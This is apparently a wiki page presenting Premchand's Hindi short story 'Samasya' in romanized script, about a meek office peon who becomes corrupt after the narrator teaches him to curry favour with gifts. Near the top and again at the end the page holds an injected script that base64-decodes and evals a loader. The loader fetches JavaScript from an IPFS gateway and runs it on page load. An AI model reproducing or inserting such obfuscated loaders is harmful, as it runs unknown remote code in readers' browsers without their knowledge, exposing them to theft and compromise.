समस्या -प्रेमचंद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

mere daftar mean char chaparasi haian. unamean ek ka nam garib hai. vah bahut hi sidha, b da ajnakari, apane kam mean chaukas rahane vala, ghu dakiyaan khakar chup rah janevala yatha nam tatha gun vala manushy hai.mujhe is daftar mean sal-bhar hote haian, magar maianne use ek din ke lie bhi gairahajir nahian paya. maian use 9 baje daftar mean apani phati dari par baithe hue dekhane ka aisa adi ho gaya hooan ki mano vah bhi usi imarat ka koee aang hai. itana saral hai ki kisi ki bat talana nahian jana. ek musalaman hai. usase sara daftar darata hai, maloom nahian kyoan ? mujhe to isaka karan sivay usaki b di-b di batoan ke aur kuchh nahian maloom hota. usake kathananusar usake chachere bhaee ramapur riyasat mean qazihaian, phoopha toank ki riyasat mean kotaval haian. use sarvasammati ne ‘kaji-saheb’ ki upadhi de rakhi hai. shesh do mahashay jati ke brahman haian. unake ashirvadoan ka mooly unake kam se kahian adhik hai. ye tinoan kamachor, gustakh aur alasi haian. koee chhota-sa kam karane ko bhi kahie to bina nak-bhauan siko de nahian karate. klarkoan ko to kuchh samajhate hi nahian ! keval b de baboo se kuchh dabate haian, yadyapi kabhi-kabhi unase jhag d baithate haian. magar in sab durgunoan ke hote hue bhi daftar mean kisi ki mitti itani kharab nahian hai, jitani bechare garib ki. taraqqi ka avasar aya hai, to ye tinoan mar le jate haian, garib ko koee poochhata bhi nahian. aur sab das-das pate haian, vah abhi chh: hi mean p da hua hai. subah se sham tak usake pair ek kshan ke lie bhi nahian tikate—yahaan tak ki tinoan chaparasi us par hukoomat jatate haian aur oopar ki amadani mean to us bechare ka koee bhag hi nahian. tis par bhi daftar ke sab karmachari—daftari se lekar baboo tak sab—usase chidhate haian. usaki kitani hi bar shikayatean ho chuki haian, kitani hi bar jurmana ho chuka hai aur daant-dapat to nity hi hua karati hai. isaka rahasy kuchh meri samajh mean n ata tha. haan, mujhe us par daya avashy ati thi, aur apane vyavahar se maian yah dikhana chahata tha ki meri drishti mean usaka adar chaparasiyoan se kam nahian. yahaan tak ki kee bar maian usake pichhe any karmachariyoan se l d bhi chuka hooan.

2

ek din b de baboo ne garib se apani mej saf karane ko kaha. vah turant mej saf karane laga. daivayog se jha dan ka jhataka laga, to davat ulat gayi aur roshanaee mej par phail gayi. b de baboo yah dekhate hi jame se bahar ho gaye. usake kan pak dakar khoob aianthe aur bharatavarsh ki sabhi prachalit bhashaoan se durvachan chun-chunakar use sunane lage. bechara garib aankhoan mean aansoo bhare chupachap moortivath kh da sunata tha, mano usane koee hatya kar dali ho. mujhe baboo ka jara-si bat par itana bhayankar raudr roop dharan karana bura maloom hua. yadi kisi doosare chaparasi ne isase bhi b da koee aparadh kiya hota, to bhi us par itana vajr-prahar n hota. maianne aangreji mean kaha—baboo sahab, ap yah anyay kar rahe haian. usane jan-boojhakar to roshanaee giraya nahian. isaka itana k da dand anauchity ki parakashtha hai.

babooji ne namrata se kaha—ap ise janate nahian, b da dusht hai.

‘maian to usaki koee dushtata nahian dekhata.’

‘ap abhi use janate nahian, ek hi paji hai. isake ghar do haloan ki kheti hoti hai, hajaroan ka len-den karata hai; kee bhaianse lagati haian. inhian batoan ka ise ghamand hai.’

‘ghar ki aisi dasha hoti, to apake yahaan chaparasagiri kyoan karata?’

‘vishvas manie, b da podha adami hai aur bala ka makkhichoos.’

‘yadi aisa hi ho, to bhi koee aparadh nahian hai.’

‘aji, abhi ap in batoan ko nahian janate. kuchh din aur rahie to apako svayan maloom ho jaega ki yah kitana kamina adami hai?’

ek doosare mahashay bol uthe—bhaee sahab, isake ghar manoan doodh-dahi hota hai, manoan matar, juvar, chane hote haian, lekin isaki kabhi itani himmat n huee ki kabhi tho da-sa daftaravaloan ko bhi de do. yahaan in chijoan ko tarasakar rah jate haian. to phir kyoan n ji jale ? aur yah sab kuchh isi naukari ke badaulat hua hai. nahian to pahale isake ghar mean bhooni bhaang n thi.

b de baboo kuchh sakuchakar bole—yah koee bat nahian. usaki chiz hai, kisi ko de ya n de; lekin yah bilkul pashu hai.

maian kuchh-kuchh marm samajh gaya. bola—yadi aise tuchchh hriday ka adami hai, to vastav mean pashu hi hai. maian yah n janata tha.

ab b de baboo bhi khule. sankoch door hua. bole—in saugatoan se kisi ka ubar to hota nahian, keval dene vale ki sahridayata prakat hoti hai. aur asha bhi usi se ki jati hai, jo is yogy hota hai. jisamean samarthy hi nahian, usase koee asha nahian karata. nange se koee kya lega ?

rahasy khul gaya. b de baboo ne saral bhav se sari avastha darasha di thi. samriddhi ke shatru sab hote haian, chhote hi nahian, b de bhi. hamari sasural ya nanihal daridr ho, to ham usase asha nahian rakhate ! kadachith vah hamean vismrit ho jati hai. kintu ve samarthyavanh hokar hamean n poochhean, hamare yahaan tij aur chauth n bhejean, to hamare kaleje par saanp lotane lagata hai. ham apane nirdhan mitr ke pas jayan, to usake ek bi de pan se hi santusht ho jate haian; par aisa kaun manushy hai, jo apane kisi dhani mitr ke ghar se bina jalapan ke lautakar use man mean kosane n lage aur sada ke lie usaka tiraskar n karane lage. sudama krishna ke ghar se yadi nirash lautate to, kadachith vah unake shishupal aur jarasandh se bhi b de shatru hote. yah manav-svabhav hai.

3

kee din pichhe maianne garib se poochha—kyoan ji, tumhare ghar par kuchh kheti-bari hoti hai ?

garib ne din bhav se kaha—haan, sarakar, hoti hai. apake do gulam haian, vahi karate haian ?

‘gayean-bhaiansean bhi lagati haian?’

‘haan, huzoor; do bhaiansean lagati haian, muda gayean abhi gabhin nahian hai. huzoor, logoan ke hi daya- dharam se pet ki rotiyaan chal jati haian.’

‘daftar ke baboo logoan ki bhi kabhi kuchh khatir karate ho?’

garib ne atyant dinata se kaha—huzoor; maian sarakar logoan ki kya khatir kar sakata hooan. kheti mean jau, chana, makka, juvar ke sivay aur kya hota hai. ap log raja haian, yah moti- jhoti chizean kis muanh se apaki bheant karooan. ji darata hai, kahian koee daant n baithe ki is take ke adami ki itani majal. isi ke mare babooji, hiyav nahian p data. nahian to doodh-dahi ki kaun bisat thi. muanh layaq bi da to hona chahie.

‘bhala ek din kuchh lake do to, dekho, log kya kahate haian. shahar mean yah chizean kahaan mayassar hoti haian. in logoan ka ji kabhi-kabhi moti-jhoti chijoan par chala karata hai.’

‘jo sarakar, koee kuchh kahe to? kahian koee sahab se shikayat kar de to maian kahian ka n rahooan.’

‘isaka mera jimma hai, tumhean koee kuchh n kahega. koee kuchh kahega, to maian samajha dooanga.’

‘to huzoor, ajakal to matar ki phasil hai. chane ke sag bhi ho gaye haian aur kolhoo bhi kh da ho gaya hai. isake sivay to aur kuchh nahian hai.’

‘bas, to yahi chizean lao.’

‘kuchh ulti-sidhi p de, to huzoor hi sanbhaleange!’

‘haan ji, kah to diya ki maian dekh looanga.’

doosare din garib aya to usake sath tin hrisht-pusht yuvak bhi the. do ke siroan par tokariyaan thian, usamean matar ki phaniyaan bhari huee thian. ek ke sir par mataka tha, usamean ookh ka ras tha. tinoan ookh ka ek-ek gatthar kaankh mean dabaye hue the. garib akar chupake se baramade ke samane pe d ke niche kh da ho gaya. daftar mean ane ka use sahas nahian hota tha, mano koee aparadhi vriksh ke niche kh da tha ki itane mean daftar ke chaparasiyoan aur any karmachariyoan ne use gher liya. koee ookh lekar choosane laga, kee adami takarean par toot p de, loot mach gayi. itane mean b de baboo daftar mean a pahuanche. yah kautukab dekha to uchch svar se bole—yah kya bhi d laga rakhi hai, apana-apana kam dekho.

maianne jakar unake kan mean kaha—garib, apane ghar se yah saugat laya hai. kuchh ap le lijie, kuchh in logoan ko baant dijie.

b de baboo ne kritrim krodh dharan karake kaha—kyoan garib, tum ye chizean yahaan kyoan laye ? abhi le jao, nahian to maian sahab se rapat kar dooanga. koee ham logoan ko malooka samajh liya hai.

garib ka rang u d gaya. thar-thar kaanpane laga. muanh se ek shabd bhi n nikala. meri or aparadhi netroan se takane laga.

maianne usaki or se kshama-prarthana ki. bahut kahane-sunane par baboo sahab raji hue. sab chijoan mean se adhi-adhi apane ghar bhijavayi. adhi mean any logoan ke hisse lagaye gaye. is prakar yah abhinay samapt hua.

4

ab daftar mean garib ka nam hone laga. use nity ghu dakiyaan n milatian; din-bhar dau dana n p data. karmachariyoan ke vyangy aur apane sahayogiyoan ke katuvaky n sunane p date. chaparasi log svayan usaka kam kar dete. usake nam mean bhi tho da-sa parivartan hua. vah garib se garibadas bana. svabhav mean kuchh tabadili paida huee. dinata ki jagah atmagaurav ka udbhav hua. tatparata ki jagah alasy ne li. vah ab bhi kabhi der karake daftar ata, kabhi-kabhi bimari ka bahana karake ghar baith rahata. usake sabhi aparadh ab kshamy the. use apani pratishtha ka gur hath lag gaya tha. vah ab dasavean-paanchave din doodh, dahi lakar b de baboo ki bheant kiya karata. devata ko santusht karana sikh gaya. saralata ke badale ab usamean kaaniyaanpan a gaya.

ek roj b de baboo ne use sarakari pharmoan ka parsal chhu dane ke lie steshan bheja. kee b de- b de puliande the. thele par aye. garib ne thelevaloan se barah ane mazadoori tay ki thi. jab kagaz daftar mean gaye to usane b de baboo se barah ane paise thelevaloan ko dene ke lie vasool kiye. lekin daftar se kuchh door jakar usaki niyat badali. apani dastoori maangane laga. thelevale raji n hue. is par garib ne big dakar sab paise jeb mean rakh liye aur dhamakakar bola—ab ek phooti kau di bhi n dooanga. jao jahaan phariyad karo. dekhean, kya bana lete ho.

thelevale ne jab dekha ki bheant n dene se jama hi gayab huee jati hai to ro-dhokar char ane paise dene par raji hue. garib ne athanni usake havale ki, barah ane ki rasid likhakar usake aangoothe ke nishan lagavaye aur rasid daftar mean dakhil ho gayi.

yah kutoohal dekhakar mean dang rah gaya. yah vahi garib hai, jo kee mahine pahale saralata aur dinata ki moorti tha, jijase kabhi chaparasiyoan se bhi apane hisse ki rakam maangane ka sahas n hota tha, jo doosaroan ko khilana bhi n janata tha, khane ka to zikr hi kya. yah svabhavaantar dekhakar atyant khed hua. isaka uttaradayitv kisake sir tha ? mere sir, jisane use chaghgh dapan aur dhoortata ka pahala path padhaya tha. mere chitt mean prashn utha—is kaaniyaanpan se, jo doosaroan ka gala dabata hai, vah bholapan kya bura tha, jo doosaroan ka anyay sah leta tha. vah ashubh muhoort tha, jab maianne use pratishtha-prapti ka marg dikhaya, kyoanki vastav mean vah usake patan ka bhayankar marg tha. maianne bahy pratishtha par usaki atm-pratishtha ka balidan kar diya.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>